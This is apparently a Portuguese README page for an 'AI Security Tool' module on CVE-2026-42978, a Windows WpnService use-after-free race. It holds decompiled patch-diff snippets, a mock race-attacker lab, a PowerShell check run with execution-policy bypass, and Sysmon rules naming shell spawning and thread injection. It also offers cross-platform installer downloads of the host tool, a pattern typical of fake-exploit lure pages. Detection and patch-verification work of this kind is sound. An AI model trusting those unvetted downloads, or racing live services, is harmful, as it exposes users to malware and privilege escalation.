
Pesquisa de PoC de Use-After-Free e Race Condition no CVE-2026-42978 Windows Push Notifications (WpnService), scanner de diagnóstico e módulo de auditoria de segurança para AI Security Tool.
Navegação do site: Início · Atualizações · Downloads · Módulos
Produto: AI Security Tool
Site: zerodayevil.github.io
Docs: https://zerodayevil.github.io/ai-security-tool
Este módulo é uma análise revisada e um perfil de verificação segura para a AI Security Tool.
Use apenas módulos listados no site do projeto ou no catálogo oficial. Carregue este módulo dentro da aplicação aprovada, contra endpoints que você possui ou tem autorização por escrito para avaliar.
Este repositório não inclui um exploit weaponizado contra o WpnService. O laboratório em lab/ é um mock independente da classe de bug (TOCTOU / double-fetch). Ele não se comunica com o serviço real de notificações push.
Instale primeiro a aplicação host. Em seguida, habilite este módulo em Modules → Windows / Local EoP → CVE-2026-42978.
| SO / plataforma | Versão | Arquitetura / formato | Atualizado | Status | Download |
|---|---|---|---|---|---|
| Windows | v6.3.20 | Instalador x64 (.exe) | 2026-09-08 | Mais recente | Baixar .exe |
| Windows | v6.3.20 | Portátil x64 (.tar.gz) | 2026-09-08 | Mais recente | Baixar .tar.gz |
| macOS | v5.3.29 | Apple Silicon (.dmg) | 2026-09-05 | Estável | Baixar .dmg |
| Linux | v5.3.27 | Universal x64 (.tar.gz) | 2026-09-01 | Estável | Baixar .tar.gz |
| Android | v5.3.27 | APK ARM64 (.apk) | 2026-09-01 | Estável | Baixar .apk |
Apenas fontes oficiais:
CVE-2026-42978 é uma elevação de privilégio local nas Notificações Push do Windows. A Microsoft descreve acesso concorrente a um recurso compartilhado sem sincronização adequada (CWE-362). Pesquisas sobre wpncore.dll corrigido vs. não corrigido mostram uma race de use-after-free em PresentationEndpointFacade durante o desligamento da plataforma.
O WpnService é executado na sessão 0 como NT AUTHORITY\SYSTEM (svchost.exe -k netsvcs -p). A entrega de toast, tile e badge passa por ele. Vencer uma race contra esse processo é um problema de SYSTEM na máquina local — não um bug remoto de pré-autenticação em DC.
Status: corrigido em 10 de junho de 2026 (Patch Tuesday). Esta página é pesquisa defensiva.
Não é o CVE-2026-41089 (RCE do Netlogon). Componente diferente, modelo de privilégio diferente, data de patch diferente.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| Aviso do fornecedor | MSRC — Windows Push Notifications EoP |
| Severidade | Alta · CVSS 3.1 7.8 |
| Fraqueza | CWE-362 race condition · use-after-free no caminho de desligamento |
| Componente | Windows Push Notifications · WpnService · wpncore.dll |
| Vetor de ataque | Local |
| Privilégios necessários | Baixo (usuário local autorizado) |
| Interação do usuário | Nenhuma |
| Patch Tuesday | 10 de junho de 2026 |
| Tipo de módulo | Análise de pesquisa + verificação segura no app + pacote de detecção |
SKUs de cliente e servidor que incluem Push Notifications. Confirme o KB exato no MSRC antes de fechar um ticket.
| Família | Notas |
|---|---|
| Windows 10 | 1809, 21H2, 22H2 (x86 / x64 / ARM64 conforme aplicável) |
| Windows 11 | 23H2, 24H2, 25H2, 26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025 (full e Server Core onde o componente existe) |
Builds de orientação a partir de notas públicas de manutenção (sempre reverifique no MSRC):
| Branch | Build corrigido indicativo |
|---|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
Exemplo de wpncore.dll (24H2) | vulnerável 26100.8521 → corrigido 26100.8655 |
A facade encapsula chamadas da API de notificações e delega para PresentationEndpointImpl. Durante o desligamento da plataforma, o objeto NotificationPlatform é destruído. Vários métodos da facade historicamente obtinham um ponteiro de plataforma sem um flag de desligamento ou um lock compartilhado. Se o teardown vencer a race, a próxima chamada usa um ponteiro pendente.
O mesmo padrão de lock-and-guard foi aplicado em 49 métodos PresentationEndpointFacade::*. Os métodos de implementação por baixo foram deixados como estavam — o furo estava na facade.
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
O que o patch adiciona:
AcquireSRWLockShared — lock leitores-escritores; o desligamento obtém o exclusivo.s_platformShutdown — aborta com E_APPLICATION_EXITING se o teardown começou.unique_storage, para que o lock seja liberado em caminhos de exceção.Feature_4097557817 para rollout em etapas / rollback.| Categoria | Funções de exemplo |
|---|---|
| Toast | ToastUnblockAll, ToastCreateSession, ToastCloseSession, ToastRequestAllNotifications, ToastSuppress |
| Tile | TileCreateSession, TileCloseSession, TileRequestResourceForeground |
| Registro | RegisterApplication, UnregisterApplication, RegisterHandler, UpdateRegistration |
| Configurações | ChangeAppSetting, QueryAppSetting, QueryGlobalSetting |
| Entrega | Deliver, GetPayloadForNotificationId, Submit, PostScheduledNotification |
| Consultas | GetRegisteredHandler, GetSettingsFromHandler, GetAssetsFromHandler |
Notas de PE de reports/:
.text cresceu 18.432 bytes.data cresceu 96 bytes (Wns::s_platformLock, Wns::s_platformShutdown)O WpnService é SYSTEM. Se a race for vencida, uma chamada de vtable pendente pode ser transformada em execução de código SYSTEM local. Esse passo — heap spray, hijack de vtable, payload — está fora do escopo aqui.
Este módulo é para compreensão da causa raiz, verificação de patch e detecção.
detection/) em uma máquina de laboratório.Não execute loops de crash ou race contra o WpnService de produção.
authorized operator
│
▼
AI Security Tool → module 42978
│
▼
authorized Windows endpoint
│
├─ patch / wpncore.dll age
└─ SIEM / Sysmon / Event Log notes
lab/ é uma demo C independente de double-fetch / TOCTOU. Usa um named pipe e memória compartilhada. Não carrega wpncore.dll e não inicia ou para o WpnService.
vulnerable_service.exe — valida um comprimento, dorme, lê o comprimento novamente.race_attacker.exe — altera o valor compartilhado durante essa janela.--patched — single-fetch em uma variável local; o mesmo atacante deve ver zero races.Requer GCC (MinGW). A partir de lab/:
build.bat
Terminal 1: vulnerable_service.exe
Terminal 2: race_attacker.exe 5
Depois compare com vulnerable_service.exe --patched.
detection/etw_wpn_monitor.ps1Sete verificações:
WpnServicewpncore.dll)powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1
detection/sysmon_wpn_race_detect.xml| Regra | Para que serve |
|---|---|
WPN_EoP_ChildProcess | svchost (netsvcs) gerando cmd / powershell / wscript |
WPN_PipeAccess | Conexões a named pipes relacionados a WPN |
WPN_FileCreation | Criação de arquivo sob diretórios de dados de notificação |
WPN_RegistryTampering | Escritas sob chaves PushNotifications |
WPN_ProcessAccess | PROCESS_ALL_ACCESS para svchost |
WPN_ThreadInjection | CreateRemoteThread em svchost |
sysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml
Canal: Microsoft-Windows-PushNotifications-Platform/Operational
wpncore.dll corresponde à linha corrigida para aquele branchsvchost -k netsvcs gerar um shellSe etw_wpn_monitor.ps1 indicar não corrigido — instale a atualização de junho de 2026 e reverifique.
| CVE | Classe |
|---|---|
| CVE-2026-42977 | EoP · race |
| CVE-2026-42978 | EoP · race (este módulo) |
| CVE-2026-42979 | EoP · race |
| CVE-2026-42991 | EoP · race |
| CVE-2026-42969 | Divulgação de informações · race |
| CVE-2026-42970 | Divulgação de informações · race |
| CVE-2026-42973 | Divulgação de informações · race |
| CVE-2026-26167 | EoP |
| CVE-2026-32160 | EoP |
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│ ├── vulnerable_service.c
│ ├── race_attacker.c
│ └── build.bat
├── detection/
│ ├── etw_wpn_monitor.ps1
│ └── sysmon_wpn_race_detect.xml
└── reports/
├── PE_DIFF_REPORT.txt
└── FUNCTION_DIFF_REPORT.txt
Requisitos: Windows 10/11 para os scripts de detecção · MinGW para o laboratório mock · Sysmon opcional.
As capturas de tela neste README são carregadas de URLs públicas de imagens. Elas não estão armazenadas nesta árvore.
4 módulos@ZeroDayEvil@ZeroDayEvil@ZeroDayEvil@ZeroDayVPN2 módulos@ZeroDayVPN@ZeroDayEvil2 módulos@ZeroDayEvil@ZeroDayVPNTrabalho útil:
Não abra um PR que adicione um exploit weaponizado do WpnService, helper de heap-spray ou PoC de exploit contra o serviço ativo.
Lançado sob a Licença MIT. Veja LICENSE.
Apenas pesquisa defensiva autorizada e administração de sistemas.
Testes de elevação de privilégio local sem autorização por escrito são ilegais.
A vulnerabilidade está corrigida. Mantenha o Windows atualizado. Este repositório não inclui um exploit weaponizado contra o serviço ativo.
AI Security Tool — fluxo de trabalho em terminal e automação para profissionais de cibersegurança.
Módulo defensivo para zerodayevil.github.io · Sem exploit standalone do WpnService · Verifique os fatos no MSRC